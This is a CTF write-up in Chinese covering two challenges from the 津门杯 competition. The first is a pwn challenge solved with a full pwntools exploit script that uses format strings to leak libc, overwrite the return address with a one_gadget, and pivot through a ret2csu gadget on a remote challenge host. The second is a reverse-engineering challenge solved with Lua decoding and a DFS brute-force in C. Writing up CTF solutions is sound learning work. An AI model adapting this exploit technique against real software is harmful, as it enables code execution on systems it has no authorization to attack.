津门杯复现 Writeup

警告
本文最后更新于 2021-05-27,文中内容可能已过时。

持续更新不了了…有更多其他的题目需要复现[哭了] #easypwn 大部分师傅的做法都是用格式化字符串泄露libc,再利用edit处的溢出来修改_free_hook,这种方法显然是非常的简单的。这里由于是复现,我挑战一下这道题只用格式化字符串的做法。

首先,这道题的格式化字符串长度是0x18,足够我们用%hn的形式写出两个字节的内容(有8字节留给要修改的目标,不过这道题不用),但是由于格式化字符串的内容在bss段上,所以并没有那么好利用。 好在我们利用栈上的二重指针,利用多次利用和二重指针来修改栈上的内容。 由于我们要多次利用,所以我们不考虑修改多次利用时会操作的栈地址,从而选择一个不会操作到的地址,这里选择的是main函数的返回地址(__libc_start_main + 0xF0),但是问题在于程序并没有办法让main函数retn。 这时候我们就可以考虑,在最后一次利用的时候写入两个字节来部分写入改写返回地址到下面这个gadget处,这个gadget实际上就是ret2csu的精髓所在。

1
2
3
4
.text:00000000000012FE                 pop     r13
.text:0000000000001300                 pop     r14
.text:0000000000001302                 pop     r15
.text:0000000000001304                 retn

利用这样的三个pop来使得栈移动到我们修改的返回地址处,接着再retn即可执行到我们修改的栈内容(one_gadget)上。

##EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.log_level = "debug"
context.binary = "./hello"
#r = process('./hello')
r = remote('119.3.81.43', 49153)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def choice(idx):
    r.sendlineafter("choice>>", str(idx))


def add(data, size=0x68, des_info='sh\x00'):
    choice(1)
    r.sendlineafter("number:", data[:11])
    if data[11:] == "":
        r.sendlineafter("name:", 'a')
    else:
        r.sendlineafter("name:", data[11:])
    r.sendlineafter("size:", str(size))
    r.sendlineafter("info:", des_info)


def show(idx):
    choice(3)
    r.sendlineafter("index:", str(idx))


def edit(idx, data, des_info):
    choice(4)
    r.sendlineafter("index:", str(idx))
    r.sendlineafter("number:", data[:11])
    if data[11:] == "":
        r.sendlineafter("name:", 'a')
    else:
        r.sendlineafter("name:", data[11:])
    if len(data) <= 24:
        r.sendafter("info:", des_info)


def write_data(addr, data):
    for i in data:
        pformat('%' + str(addr & 0xFFFF) + 'c%15$hn')
        if ord(i) == 0:
            pformat('%41$hhn')
        else:
            pformat('%' + str(ord(i)) + 'c%41$hhn')
        addr += 1


def pformat(data):
    edit(0, data, 'sh\x00')
    show(0)


#leak libc
add('%13$p')
show(0)
r.recvuntil('0x')
libc_base = int(r.recvuntil('\n', drop=True), 16) - 0xf0 - libc.sym['__libc_start_main']
libc.address = libc_base
log.success("libc_base:\t" + hex(libc_base))

#leak ret_addr
pformat('%8$p')
r.recvuntil('0x')
ret_addr = int(r.recvuntil('\n', drop=True), 16) + 0x8
log.success("ret_addr:\t" + hex(ret_addr))
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
#hijack ret_addr
write_data(ret_addr, p64(libc_base + one[3]))
#show function ret -> gadget
write_data(ret_addr - 0x20, '\xfe')
r.interactive()

#easyRe

图片

搜索字符串找到一些关键的字符串内容。

图片

我们根据题目目录下的文件,可以猜测内部存在一个lua引擎,我们可以尝试从github上下载源码来恢复一些符号信息。

图片

主要逻辑就是先用6,15,29这三位生成一个key,进行循环运算,然后调用lua中的某个函数,lua通过他自定义的函数加密了,加密函数是。

图片

编写程序读取lua脚本内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <cstdio>
#include "defs.h"
#include <corecrt_malloc.h>
#include <cstring>
_BYTE* __fastcall str_decode(char* a1, int a2)
{
    _BYTE* result; // rax
    int i; // [rsp+14h] [rbp-2Ch]
    int v4[6]; // [rsp+20h] [rbp-20h]
    unsigned __int64 v5; // [rsp+38h] [rbp-8h]
    result = (_BYTE*)malloc(a2);
    v4[0] = 2;
    v4[1] = 3;
    v4[2] = 5;
    if (a2)
    {
        for (i = 0; i < a2; ++i)
            result[i] = a1[i] ^ LOBYTE(v4[i % 3]);
    }
    return result;
}
int main()
{
    FILE* stream = fopen("C:\\my.lua", "rb");
    fseek(stream, 0LL, 2);
    int size = ftell(stream);
    void *ptr = malloc(size);
    rewind(stream);
    fread(ptr, 1uLL, size, stream);
    _BYTE* x = str_decode((char*)ptr, size);
    printf("%s", x);
    char s2[] = "cgfffce";
    str_decode(s2, 7);
    printf("%s", s2);
	return 0;
}

得到lua脚本内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function BitXOR(a,b)
    local p,c=1,0
    while a>0 and b>0 do
        local ra,rb=a%2,b%2
        if ra~=rb then c=c+p end
        a,b,p=(a-ra)/2,(b-rb)/2,p*2
    end
    if a<b then a=b end
    while a>0 do
        local ra=a%2
        if ra>0 then c=c+p end
        a,p=(a-ra)/2,p*2
    end
    return c
end
function adcdefg(j)  
    return BitXOR(5977654,j)
end

可以发现lua的内容其实就是让传入的数据异或5977654 我们可以编写一个加密函数然后再分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void encode(unsigned int a1, char * input)
{
    int *s = (int*)malloc(0x84uLL);
    memset(s, 0, 0x84uLL);
    for (int i = 0; i <= 32; ++i)
    {
        s[i] = (0x1ED0675 * (unsigned __int64)a1 + 1729) % 0xFE;
        a1 = s[i];
    }
    int *encode = (int*)malloc(0x100uLL);
    memset(encode, 0, 0x100uLL);
    for (int j = 0; j <= 31; ++j)
    {
        for (int k = 0; k <= 32; ++k)
        {
            encode[j + k] += input[j] ^ s[k];
            encode[j + k] = encode[j + k] ^ 5977654;
        }
    }
    return;
}

这里卡了很久,也不知道z3怎么合适的解这个问题,最后写了个dfs程序来爆破flag。

我们可以爆破那三位的内容,接着根据encode_data内容来剪枝就可以了,VS Release x64 -O2 差不多跑了二十多秒

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <cstdio>
#include <cstring>
unsigned int encode_data[32] =
{
	0x005B3600, 0x000000CB, 0x005B3422, 0x0000025D, 0x005B38EA, 0x00000F5B, 0x005B34F0, 0x00000057,
	0x005B372A, 0x00000504, 0x005B3429, 0x00001365, 0x005B2542, 0x00000293, 0x005B35EA, 0x00000D6E,
	0x005B3B2B, 0x00000697, 0x005B4282, 0x00000941, 0x005B33F9, 0x0000772B, 0x005B2839, 0x00000D8A,
	0x005B3CFE, 0x00000861, 0x005B28BC, 0x00007710, 0x005B1224, 0x0000326E, 0x005B26AC, 0x00001DE8
};
int s[33];
unsigned char input[32];
bool getFlag = false;
char FlagList[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}";
void dfs(int x)
{
	if (x == 32)
	{
		for (int i = 0; i < 32; i++)
			printf("%c", input[i]);
		getFlag = true;
		return;
	}
	if (x == 6 || x == 15 || x == 29)
	{
		dfs(x + 1);
		return;
	}
	for (int i = 0; FlagList[i]; i++)
	{
		input[x] = FlagList[i];
		int encode[64] = { 0 };
		for (int j = 0; j <= 31; ++j)
		{
			for (int k = 0; k <= 32; ++k)
			{
				if (input[j] == 0xFF || encode[j + k] == -1)
				{
					encode[j + k] = -1;
					continue;
				}
				encode[j + k] += input[j] ^ s[k];
				encode[j + k] = encode[j + k] ^ 5977654;
			}
		}
		bool flag = true;
		for (int i = 0; i < 32; i++)
		{
			if (encode[i] == -1) continue;
			if (encode[i] != encode_data[i])
			{
				flag = false;
				break;
			}
		}
		if (flag)
		{
			dfs(x + 1);
		}
		input[x] = -1;
	}
}
int main()
{
	memset(input, 0xFF, sizeof(input));
	for (int i = 0; FlagList[i]; i++)
	{
		for (int j = 0; FlagList[j]; j++)
		{
			for (int k = 0; FlagList[k]; k++)
			{
				input[6] = FlagList[k];
				input[15] = FlagList[j];
				input[29] = FlagList[i];
				int a1 = ~(53 * (2 * input[6] + input[15] + 3 * input[29])) & 0xFFF;
				for (int l = 0; l <= 32; ++l)
				{
					s[l] = (0x1ED0675 * (unsigned __int64)a1 + 1729) % 0xFE;
					a1 = s[l];
				}
				dfs(0);
				if (getFlag) return 0;
			}
		}
	}
	return 0;
}

图片

0%